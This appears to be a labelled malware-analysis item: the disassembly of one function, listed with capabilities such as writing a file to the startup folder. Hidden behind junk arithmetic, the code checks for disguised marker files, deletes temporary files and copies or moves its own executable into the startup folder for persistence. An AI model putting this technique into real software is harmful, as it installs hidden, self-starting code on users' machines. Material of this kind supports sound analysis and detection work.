Function at 0x40df00
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45e640]
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45cce4]
mov eax, 0x1f1f444d
imul esi
mov eax, dword [0x45ccd0]
sar edx, 0x14
mov ecx, edx
push edi
mov edi, dword [0x45cccc]
lea ebx, [eax + edi]
imul ebx, ebx, 0x44ce3d
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x273a49
add ebx, edx
mov eax, 0x61fd3f09
imul esi
mov eax, dword [0x45cce0]
imul eax, eax, 0x6489e9
sar edx, 0x15
add ebx, edx
mov esi, edx
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x647e2ce7
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
sub esi, eax
mov eax, dword [0x45ccd4]
lea edi, [eax + edx]
add esi, ecx
imul edi, edi, 0x1830cc
mov dword [0x45ccdc], esi
mov esi, dword [str._r_____r____]
mov eax, 0x26bae4e5
imul esi
imul esi, esi, 0x5399dc
sar edx, 0x13
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45ccd8]
mov eax, 0x3b87af8d
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x61fd3f09
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
sub ebx, ecx
push 0
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45cce4], ebx
call fcn.0042ff6d
add esp, 8
cmp eax, 0xffffffff
je 0x40e4e0
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.0042ff6d
add esp, 8
cmp eax, 0xffffffff
je 0x40e4e0
mov ecx, dword [0x45ccc8]
mov esi, dword [0x45cce0]
imul ecx, ecx, 0x273a49
imul esi, esi, 0x11c215
add esi, ecx
mov ecx, dword [0x45ccd0]
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0xc5432eb
imul ecx
shr edi, 0x1f
add edi, esi
sar edx, 0x12
add edi, edx
mov esi, edx
mov eax, 0xa2f64c79
imul ecx
add edx, ecx
mov ecx, dword [0x45cce4]
sar edx, 0x16
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
mov eax, 0x647e2ce7
imul ecx
sar edx, 0x15
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
push 0x104
lea ecx, [esp + 0x214]
add eax, edx
add edi, esi
push ecx
sub edi, eax
push 0
mov dword [0x45ccc8], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x210]
push 0x5c
push edx
call fcn.004309d0
mov esi, eax
push str..tmp
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x20]
push str._s_s
push ecx
inc esi
call fcn.0042fbd1
mov ecx, dword [0x45ccd0]
mov eax, 0x26bae4e5
imul ecx
mov ecx, dword [0x45ccd8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xd0d507c9
imul ecx
add edx, ecx
imul ecx, ecx, 0x839c4a
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x45ccdc]
mov eax, 0x1f1f444d
imul ecx
add esp, 0x18
sar edx, 0x14
mov eax, dword [0x45ccc8]
mov ecx, edx
imul eax, eax, 0x5184aa
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x569052
sub ebx, ecx
add ebx, edx
add ebx, eax
mov eax, dword [0x45cce4]
push 0
push 0x18
lea ecx, [esp + 0x118]
sub ebx, eax
push ecx
sub ebx, 0x273a49
push 0
mov dword [0x45ccd0], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e187
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44d20c
push edx
call fcn.0042fbd1
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x54a93351
imul ecx
imul ecx, ecx, 0x1830cc
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, esi
imul edi, edi, 0x273a49
mov ebx, eax
sub ebx, edi
mov edi, dword [0x45ccd4]
mov eax, 0x61fd3f09
imul edi
add ebx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x5399dc
sub ebx, ecx
add ebx, edx
mov eax, 0xbd455a63
imul esi
add edx, esi
sar edx, 0x16
add ebx, edx
mov ecx, edx
mov eax, 0xc5432eb
imul esi
sar edx, 0x12
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x45ccd8], ecx
xor ebx, ebx
jmp 0x40e243
mov ecx, dword [0x45ccd8]
mov edi, dword [0x45ccd4]
mov esi, dword [0x45cce8]
mov edx, dword [0x45ccd0]
imul edi, edi, 0x569052
imul ecx, ecx, 0x6489e9
lea ebp, [esi + edx]
mov edx, dword [0x45cccc]
imul ebp, ebp, 0x34e0fb
mov eax, 0x26bae4e5
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x3b87af8d
imul esi
sar edx, 0x14
mov eax, edx
add ebp, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x273a49
shr eax, 0x1f
add eax, ebp
sub eax, edx
sub eax, edi
add eax, ecx
mov dword [0x45cce0], eax
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0042ff6d
add esp, 8
cmp eax, 0xffffffff
je 0x40e2ca
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 0x64
jl 0x40e231
mov edi, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov esi, dword [0x45cce4]
mov ecx, dword [0x45ccc8]
lea ebx, [edx + edi]
imul edi, edi, 0x5399dc
imul ebx, ebx, 0x530e8f
mov eax, esi
imul eax, eax, 0x273a49
sub ebx, eax
mov eax, 0x54a93351
imul ecx
sar edx, 0x13
add ebx, edx
mov ebp, edx
mov eax, 0x61fd3f09
imul ecx
sar edx, 0x15
shr ebp, 0x1f
mov ecx, edx
add ebp, ebx
mov ebx, dword [esp + 0x31c]
add ebp, edx
shr ecx, 0x1f
add ecx, ebp
sub ecx, edi
mov edi, dword [str._r_____r____]
mov eax, 0xa2f64c79
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
test ebx, ebx
mov dword [0x45cce8], ecx
je 0x40e358
cmp ebx, 2
jne 0x40e439
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
test eax, eax
jne 0x40e427
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x3b87af8d
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xe0e0bbb3
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x1f1f444d
imul ecx
imul ecx, ecx, 0x530e8f
sar edx, 0x14
sub ebp, ebx
mov ebx, edx
add ebp, edx
mov eax, 0x61fd3f09
imul esi
sar edx, 0x15
shr ebx, 0x1f
mov eax, edx
add ebx, ebp
add ebx, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0x569052
shr eax, 0x1f
add eax, ebx
add eax, edx
add eax, ecx
mov ecx, dword [0x45ccdc]
imul ecx, ecx, 0x5184aa
add eax, ecx
push 6
lea edx, [esp + 0x118]
mov dword [str._r_____r____], eax
push edx
lea eax, [esp + 0x1c]
push eax
call edi
pop ebp
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042fa01
add esp, 0x308
ret
mov esi, dword [0x45cce4]
mov edi, dword [str._r_____r____]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45cccc]
imul esi, esi, 0x273a49
imul ecx, ecx, 0x569052
mov eax, 0x54a93351
imul edx
sar edx, 0x13
mov ebp, edx
add esi, edx
shr ebp, 0x1f
add ebp, esi
mov esi, dword [0x45ccd4]
mov eax, 0x61fd3f09
imul esi
sar edx, 0x15
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
sub eax, ecx
mov ecx, dword [0x45cce0]
imul ecx, ecx, 0x530e8f
add eax, ecx
mov ebp, eax
mov eax, 0x647e2ce7
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
sub eax, edi
add eax, 0x34e0fb
cmp ebx, 1
mov dword [0x45cccc], eax
je 0x40e4b2
cmp ebx, 2
jne 0x40e4c7
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042fa01
add esp, 0x308
ret
mov ecx, dword [esp + 0x310]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
call fcn.0042fa01
add esp, 0x308
ret